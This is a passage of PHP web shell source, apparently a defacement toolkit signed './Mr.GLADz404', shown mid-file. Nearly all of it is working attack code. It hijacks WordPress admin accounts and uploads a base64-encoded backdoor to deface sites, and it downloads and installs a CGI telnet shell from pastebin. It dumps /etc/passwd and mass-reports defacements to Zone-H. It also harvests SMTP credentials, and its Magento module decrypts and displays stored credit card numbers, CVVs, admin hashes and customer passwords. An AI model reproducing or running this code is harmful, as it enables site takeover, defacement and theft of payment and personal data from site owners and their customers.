- mysql_close($conn);
- }
- }
- } else {
- echo "<center>
- <h1>Auto Edit Title WordPress dan Content</h1></center>
- <form method='post'>
- DIR Config: <br>
- <input type='text' size='50' name='config_dir' value='$path'><br><br>
- Set Title: <br>
- <input type='text' name='new_title' value='Hacked By ./Mr.GLADz404' placeholder='New Title'><br><br>
- Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
- <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
- <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/raw/pa6yLnny' style='width: 450px; height: 150px;'></textarea><br>
- <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
- </form>
- <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/gladz404_config )</span><br>
- ";
- }
- //WP AUTO PEPES
- } elseif($_GET['gladz404'] == 'autodwp') {
- if($_POST['auto_deface_wp']) {
- function anucurl($sites) {
- $ch = curl_init($sites);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- function lohgin($cek, $web, $userr, $pass, $wp_submit) {
- $post = array(
- "log" => "$userr",
- "pwd" => "$pass",
- "rememberme" => "forever",
- "wp-submit" => "$wp_submit",
- "redirect_to" => "$web",
- "testcookie" => "1",
- );
- $ch = curl_init($cek);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- $scan = $_POST['link_config'];
- $link_config = scandir($scan);
- $script = htmlspecialchars($_POST['script']);
- $user = "gladz404";
- $pass = "gladz404";
- $passx = md5($pass);
- foreach($link_config as $dir_config) {
- if(!is_file("$scan/$dir_config")) continue;
- $config = file_get_contents("$scan/$dir_config");
- if(preg_match("/WordPress/", $config)) {
- $dbhost = ambilkata($config,"DB_HOST', '","'");
- $dbuser = ambilkata($config,"DB_USER', '","'");
- $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"DB_NAME', '","'");
- $dbprefix = ambilkata($config,"table_prefix = '","'");
- $prefix = $dbprefix."users";
- $option = $dbprefix."options";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[ID];
- $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[option_value];
- if($target == '') {
- echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
- } else {
- echo "[+] $target <br>";
- }
- $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
- if(!$conn OR !$db OR !$update) {
- echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
- mysql_close($conn);
- } else {
- $site = "$target/wp-login.php";
- $site2 = "$target/wp-admin/theme-install.php?upload";
- $b1 = anucurl($site2);
- $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
- $b = lohgin($site, $site2, $user, $pass, $wp_sub);
- $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
- $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
- $www = "m.php";
- $fp5 = fopen($www,"w");
- fputs($fp5,$upload3);
- $post2 = array(
- "_wpnonce" => "$anu2",
- "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
- "themezip" => "@$www",
- "install-theme-submit" => "Install Now",
- );
- $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
- curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- $data3 = curl_exec($ch);
- curl_close($ch);
- $y = date("Y");
- $m = date("m");
- $namafile = "id.php";
- $fpi = fopen($namafile,"w");
- fputs($fpi,$script);
- $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
- curl_setopt($ch6, CURLOPT_POST, true);
- curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
- curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
- curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
- $postResult = curl_exec($ch6);
- curl_close($ch6);
- $as = "$target/k.php";
- $bs = anucurl($as);
- if(preg_match("#$script#is", $bs)) {
- echo "[+] <font color='lime'>berhasil mepes...</font><br>";
- echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
- } else {
- echo "[-] <font color='red'>gagal mepes...</font><br>";
- echo "[!!] coba aja manual: <br>";
- echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
- echo "[+] username: <font color=lime>$user</font><br>";
- echo "[+] password: <font color=lime>$pass</font><br><br>";
- }
- mysql_close($conn);
- }
- }
- }
- } else {
- echo "<center><h1>WordPress Auto Deface</h1>
- <form method='post'>
- <input type='text' name='link_config' size='50' height='10' value='$path'><br>
- <input type='text' name='script' height='10' size='50' placeholder='Hacked by ./Mr.GLADz404' required><br>
- <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
- </form>
- <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/gladz404_config )</span>
- </center>";
- }
- //CGI TELNET
- } elseif($_GET['gladz404'] == 'cgi') {
- $cgi_dir = mkdir('gladz404_cgi', 0755);
- $file_cgi = "gladz404_cgi/cgi.izo";
- $isi_htcgi = "AddHandler cgi-script .izo";
- $htcgi = fopen(".htaccess", "w");
- $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
- $cgi = fopen($file_cgi, "w");
- fwrite($cgi, $cgi_script);
- fwrite($htcgi, $isi_htcgi);
- chmod($file_cgi, 0755);
- echo "<font color=red>Password: gladz404</font>";
- echo "<iframe src='gladz404_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
- //Bypass /etc/passwd
- } elseif($_GET['gladz404'] == 'bypass_etc') {
- echo '<br><center>Bypass /etc/passwd With :<br>
- <table style="width:50%">
- <tr>
- <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
- <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
- <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
- <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
- <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="mix"></form></td>
- </tr></table></center>Bypass User With : <table style="width:50%">
- <tr>
- <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
- <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
- <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
- <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
- <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
- </tr>
- </table><br>';
- if ($_POST['awkuser']) {
- echo"<textarea class='inputzbut' cols='65' rows='15'>";
- echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
- echo "</textarea><br>";
- }
- if ($_POST['systuser']) {
- echo"<textarea class='inputzbut' cols='65' rows='15'>";
- echo system("ls /var/mail");
- echo "</textarea><br>";
- }
- if ($_POST['passthuser']) {
- echo"<textarea class='inputzbut' cols='65' rows='15'>";
- echo passthru("ls /var/mail");
- echo "</textarea><br>";
- }
- if ($_POST['exuser']) {
- echo"<textarea class='inputzbut' cols='65' rows='15'>";
- echo exec("ls /var/mail");
- echo "</textarea><br>";
- }
- if ($_POST['shexuser']) {
- echo"<textarea class='inputzbut' cols='65' rows='15'>";
- echo shell_exec("ls /var/mail");
- echo "</textarea><br>";
- }
- if($_POST['syst'])
- {
- echo"<textarea class='inputz' cols='65' rows='15'>";
- echo system("cat /etc/passwd");
- echo"</textarea><br><br><b></b><br>";
- }
- if($_POST['passth'])
- {
- echo"<textarea class='inputz' cols='65' rows='15'>";
- echo passthru("cat /etc/passwd");
- echo"</textarea><br><br><b></b><br>";
- }
- if($_POST['ex'])
- {
- echo"<textarea class='inputz' cols='65' rows='15'>";
- echo exec("cat /etc/passwd");
- echo"</textarea><br><br><b></b><br>";
- }
- if($_POST['shex'])
- {
- echo"<textarea class='inputz' cols='65' rows='15'>";
- echo shell_exec("cat /etc/passwd");
- echo"</textarea><br><br><b></b><br>";
- }
- echo '<center>';
- if($_POST['mix'])
- {
- echo"<textarea class='inputz' cols='65' rows='15'>";
- for($uid=0;$uid<60000;$uid++){
- $ara = posix_getpwuid($uid);
- if (!empty($ara)) {
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }
- print "\n";
- }
- }
- echo"</textarea></center><br><br>";
- }
- //Zone-H Mass Poster
- } elseif($_GET['gladz404'] == 'zone-h') {
- if($_POST['submit']) {
- $domain = explode("\r\n", $_POST['url']);
- $nick = $_POST['nick'];
- echo "<font color=blue>Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'><font color=orange>http://www.zone-h.org/archive/notifier=$nick/published=0</a></font><br>";
- echo "<font color=blue>Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'><font color=orange>http://www.zone-h.org/archive/notifier=$nick</a></font><br><br>";
- function zoneh($url,$nick) {
- $ch = curl_init("http://www.zone-h.com/notify/single");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
- return curl_exec($ch);
- curl_close($ch);
- }
- foreach($domain as $url) {
- $zoneh = zoneh($url,$nick);
- if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
- echo "$url -> <font color=lime>OK</font><br>";
- } else {
- echo "$url -> <font color=red>ERROR</font><br>";
- }
- }
- } else {
- echo "<center><font color=red size=4>Zone-H Mass Poster</center><br>
- <form method='post'>
- <u>Defacer</u>: <br>
- <input type='text' name='nick' size='50' value='./Mr.GLADz404'><br>
- <u>Domains</u>: <br>
- <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
- <input type='submit' name='submit' value='Submit' style='width: 450px;'>
- </form></font>";
- }
- echo "</center>";
- //SMTP
- } elseif($_GET['gladz404'] == 'smtp') {
- echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/gladz404_config )</span></center><br>";
- function scj($dir) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- $ambil = str_replace("$", "", $ambil);
- if(preg_match("/JConfig|joomla/", $ambil)) {
- $smtp_host = ambilkata($ambil,"smtphost = '","'");
- $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
- $smtp_user = ambilkata($ambil,"smtpuser = '","'");
- $smtp_pass = ambilkata($ambil,"smtppass = '","'");
- $smtp_port = ambilkata($ambil,"smtpport = '","'");
- $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
- echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
- echo "SMTP port: <font color=lime>$smtp_port</font><br>";
- echo "SMTP user: <font color=lime>$smtp_user</font><br>";
- echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
- echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
- echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
- }
- }
- }
- $smpt_hunter = scj($dir);
- echo $smpt_hunter;
- echo "</center>";
- //MAGENTO HUNTER
- } elseif($_GET['gladz404'] == 'magento') {
- echo'
- <div id="page-wrap">
- <center>
- <FORM action="" method="post"><h1>
- <div align="center"><div><span style="color:blue;">[M A G E N T O] - STEALING INFORMATION</span></div></h1><br>
- <div align="center"><font color=orange>coded by sohai & n4KuLa_</font><br>
- <div align="center"><font color=orange>recoded by ./Mr.GLADz404</font><br>
- <font color="red">INI HANYA DAPAT BERJALAN DI CMS MAGENTO</font><br><br>
- <input type="hidden" name="form_action" value="2">
- </div></center>
- ';
- if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
- $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
- if(isset($xml->global->resources->default_setup->connection)) {
- $connection = $xml->global->resources->default_setup->connection;
- $prefix = $xml->global->resources->db->table_prefix;
- $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
- require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
- try {
- $app = Mage::app('default');
- }
- catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}
- if (!mysql_connect($connection->host, $connection->username, $connection->password)){
- print("Could not connect: " . mysql_error());
- }
- mysql_select_db($connection->dbname);
- echo $connection->host." | ".$connection->username." | ".$connection->password." | ".$connection->dbname." | $prefix | $key<br/>\n";
- $crypto = new Varien_Crypt_Mcrypt();
- $crypto->init($key);
- //=========================================================================================================
- $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
- if (!$query){
- echo "<center><b>Gagal</b></center>";
- }else{
- $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
- echo'<center><br><br>
- ====================================================================<br>
- [ Daftar Admin yang terdaftar di : '.$site['website'].' ] <br>
- ====================================================================<br></center>';
- }
- echo "
- <table border='1' align='center' >
- <tr>
- <td>id</td>
- <td>firstname</td>
- <td>lastname</td>
- <td>email</td>
- <td>username</td>
- <td>password</td>
- </tr>";
- while($vx = mysql_fetch_array($query)) {
- $no = 1;
- $user_id = $vx['user_id'];
- $username = $vx['username'];
- $password = $vx['password'];
- $email = $vx['email'];
- $firstname = $vx['firstname'];
- $lastname = $vx['lastname'];
- echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
- }
- echo "</table><br>";
- //=========================================================================================================
- $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
- if(mysql_num_rows($query) != 0){
- if (!$query){
- echo "<center><b>Gagal</b></center>";
- }else{
- echo'<br><br>
- ====================================================================<br>
- [ Authorizenet ] <br>
- ====================================================================<br>';
- }
- echo "
- <table border='1' align='center' >
- <tr>
- <td>no</td>
- <td>user</td>
- <td>pass</td>
- </tr>";
- $no = 1;
- while($vx = mysql_fetch_array($query)) {
- $user = $crypto->decrypt($vx['user']);
- $pass = $crypto->decrypt($vx['pass']);
- echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
- $no++;
- }
- echo "</table><br>";
- }
- //=========================================================================================================
- $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
- if(mysql_num_rows($query_smtp) != 0){
- if (!$query_smtp){
- echo "<center><b>Gagal</b></center>";
- }else{
- echo'<br><br>
- ====================================================================<br>
- [ SMTP ] <br>
- ====================================================================<br>';
- }
- echo "
- <table border='1' align='center' >
- <tr>
- <td>no</td>
- <td>host</td>
- <td>port</td>
- <td>user</td>
- <td>pass</td>
- </tr>";
- $no = 1;
- $batas = 0;
- while($rows = mysql_fetch_array($query_smtp)) {
- $smtphost = $rows[0];
- $smtpport = $rows[1];
- $smtpuser = $rows[2];
- $smtppass = $rows[3];
- echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
- $no++;
- }
- echo "</table><br>";
- }
- //=========================================================================================================
- $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
- $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
- if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
- echo'<br><br>
- ====================================================================<br>
- [ Credit Card ] <br>
- ====================================================================<br>';
- echo "
- <table border='1' align='center'>
- <tr>
- <td>no</td>
- <td>Date</td>
- <td>Credit Owner</td>
- <td>method</td>
- <td>Credit Number</td>
- <td>Credit Exp</td>
- <td>CVV</td>
- <td>Address</td>
- </tr>";
- $no = 1;
- $batas = 0;
- while($vx = mysql_fetch_array($query)){
- $date = $vx['updated_at'];
- $cc_owner = $vx['cc_owner'];
- $method = $vx['method'];
- $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
- $exp = $vx['exp'];
- $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
- $Billing_Address = $vx['Billing Address'];
- echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
- $batas = $no++;
- }
- while($vx2 = mysql_fetch_array($query2)){
- $batas +=1;
- $cc_owner = $vx2['cc_owner'];
- $method = $vx2['method'];
- $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
- $exp = $vx2['exp'];
- $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
- $Billing_Address = $vx2['Billing Address'];
- echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
- $batas++;
- }
- echo "</table><br><br>";
- }
- //=========================================================================================================
- $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
- $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
- if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
- if (!$query){
- echo "<center><b>Gagal</b></center>";
- }else{
- echo'<br><br>
- ====================================================================<br>
- [ Customer ] <br>
- ====================================================================<br>';
- }
- echo "
- <table border='1' align='center' >
- <tr>
- <td>no</td>
- <td>user</td>
- <td>pass</td>
- </tr>";
- $no = 1;
- $batas = 0;
- while($vx = mysql_fetch_array($query)) {
- $user = $vx['email'];
- $pass = $vx['value'];
- echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
- $batas = $no++;
- }
- if(mysql_num_rows($query2) != 0 && ($query2)){
- while($vx2 = mysql_fetch_array($query2)){
- $user = $vx2['customer_email'];
- $pass = $crypto->decrypt($vx2['password_hash']);
- if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampiin
- $batas +=1;
- echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
- $batas++;
- }
- }
- }
- echo "</table><br>";
- }
- //=========================================================================================================
- }
- }
- function save($format,$data){
- $fp = fopen($format, 'a');
- fwrite($fp, $data);
- fclose($fp);
- }
- function cekbase64($string){
- $decoded = base64_decode($string, true);
- if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;
- if(!base64_decode($string, true)) return false;
- if(base64_encode($decoded) != $string) return false;
- return true;//nilai return 1 jika true
- }
- //----untuk decode password ---/
- class Varien_Crypt_Mcrypt{
- /**
- * Constuctor
- *
- * @param array $data
- */
- public function __construct()
- {
- }
- /**
- * Initialize mcrypt module
- *
- * @param string $key cipher private key
- * @return Varien_Crypt_Mcrypt
- */
- public function init($key)
- {
- $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
- $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
- $maxKeySize = mcrypt_enc_get_key_size($this->handler);
- if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
- //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
- return null;
- }
- mcrypt_generic_init($this->handler, $key, $iv);
- return $this;
- }
- /**
- * Encrypt data
- *
- * @param string $data source string
- * @return string
- */
- public function encrypt($data)
- {
- if (!$this->handler) {
- //throw new Varien_Exception('Crypt module is not initialized.');
- return null;
- }
- if (strlen($data) == 0) {
- return $data;
- }
- return base64_encode(mcrypt_generic($this->handler, $data));
- }
- /**
- * Decrypt data
- *
- * @param string $data encrypted string
- * @return string
- */
- public function decrypt($data)
- {
- if (!$this->handler) {
- //throw new Varien_Exception('Crypt module is not initialized.');
- return null;
- }
- if (strlen($data) == 0) {
- return $data;
- }
- return mdecrypt_generic($this->handler, base64_decode($data));
- }
- /**
- * Desctruct cipher module
- *
- */
- public function __destruct()
- {
- if ($this->handler) {
- $this->_reset();
- }
- }
- protected function _reset()
- {
- mcrypt_generic_deinit($this->handler);
- mcrypt_module_close($this->handler);
- }
- }
- //DEFACE PAGE CHECKER
- } elseif($_GET['gladz404'] == 'pepescek') {
- echo '<html>
- <head>
- <style type="text/css">
- * { margin:0;}
- .style1 { color: #FFFFFF;font-family: "Arial Rounded MT Bold";text-align: center;font-size: 50px; }
- .style2 { background: black;border: 1px solid lime;color: lime;font-size: 13px;width:650px;}
- .main {font-family: Palatino Linotype;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF}
- h1 span {font-size:45px;}
- .even {background-color: rgba(25, 25, 25, 0.8);} .odd {background-color: rgba(19, 20, 21, 0.8);}
- .green {color:#00FF00;font-weight:bold;} .red {color:#FF0000;font-weight:bold;}
- a{color:#fff;text-decoration:none;}
- .hid {text-align:center;background-color: rgba(8, 92, 105, 0.8);margin:0 auto;width:40%;font-weight:bold;}
- input[type="submit"],.box {padding:10px;background: green;color:white;font-weight:bold;} input[type="submit"]:hover {color:#fff;}
- .box {width:626px;border:2px solid #fff;margin:0 auto;border-top:none;}
- </style>
- </head><br><center><font color="lime" size="6">
- <b>Deface Page Checker</b></font>
- <br><br>
- <form method="post" action="">
- <center><table class="style2"><tr><td>Site List: </td><td><textarea name="domain" cols="80" rows="10" class="style2"></textarea></td>
- </tr>
- <tr><td>Text: </td><td><input name="text" value="Hacked By ./Mr.GLADz404" size="20" class="style2"></td>
- </tr><tr></table>
- <br />
- <input type="submit" name="submit" value="-=[ CHECK NOW ]=-"/>
- </form></center><br />
- ';
- if(isset($_POST['submit'])) {
- $text = $_POST['text'];
- $items = explode("\n", trim($_POST['domain']));
- $items = array_unique(str_replace('http://','',$items));
- $total = count($items);
- echo '<div class="hid">Total Domains = '.$total.'</div><br />';
- echo '<h3 class="hid">Checking Defaced sites</h3>';
- echo '<table style="width:40%;margin:0 auto;">';
- $j = 1;
- $dc = 0;
- $sites = array();
- foreach($items as $s) {
- $data = file_get_contents('http://'.trim($s));
- $cond = strpos($data, $text);
- $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
- if($cond !== false){ echo '<tr '.$cls.'><td><font color=green><a href="http://'.$s.'" target="_blank">http://'.$s.'</a></font></td><td><span class="green">DEFACED</span></td></tr>'; $sites[] = trim($s); $dc++;
- } else { echo '<tr '.$cls.'><td><font color=red>http://'.$s.'</font></td><td><span class="red">Failed!</span></td></tr>'; }
- $j++;
- }
- echo '</table><br />';
- $total = $dc;
- echo '<h3 class="hid">Total Defaced = '.$total.'</h3><br />';
- }
- echo '';
- //START
- } elseif(isset($_GET['filesrc'])){
- echo "<tr><td>Current File : ";
- echo $_GET['filesrc'];
- echo '</tr></td></table><br />';
- echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
- }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
- echo '</table><br />'.$_POST['path'].'<br /><br />';
- if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['path'],$_POST['perm'])){
- echo '<font color="#FFA500">Change Permission Selesai</font><br />';
- }else{
- echo '<font color="#DA70D6">Change Permission Gagal</font><br />';
- }
- }
- echo '<form method="POST">
- Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'rename'){
- if(isset($_POST['newname'])){
- if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
- echo '<font color="#DA70D6">Change Name Berhasil</font><br />';
- }else{
- echo '<font color="#FFEFD5">Change Name Gagal</font><br />';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST">
- New Name : <input name="newname" type="text" size="30" value="'.$_POST['name'].'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['path'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<font color="#FFEFD5">Edit File Berhasil</font><br />';
- }else{
- echo '<font color="#FFDEAD">Edit File Gagal</font><br />';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea cols=140 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="edit">
- <input type="submit" value="Go" />
- </form>';
- }
- echo '</center>';
- }else{
- echo '</table><br /><center>';
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- if(rmdir($_POST['path'])){
- echo '<font color="00FF1E">Delete Dir Berhasil</font><br />';
- }else{
- echo '<font color="#FAFAD2">Delete Dir Gagal</font><br />';
- }
- }elseif($_POST['type'] == 'file'){
- if(unlink($_POST['path'])){
- echo '<font color="00FF22">Delete File Berhasil</font><br />';
- }else{
- echo '<font color="#ADFF2F">Delete File Gagal</font><br />';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($path);
- echo '<div id="content"><table width="1325" border="0" cellpadding="7" cellspacing="4" align="center">
- <tr class="first">
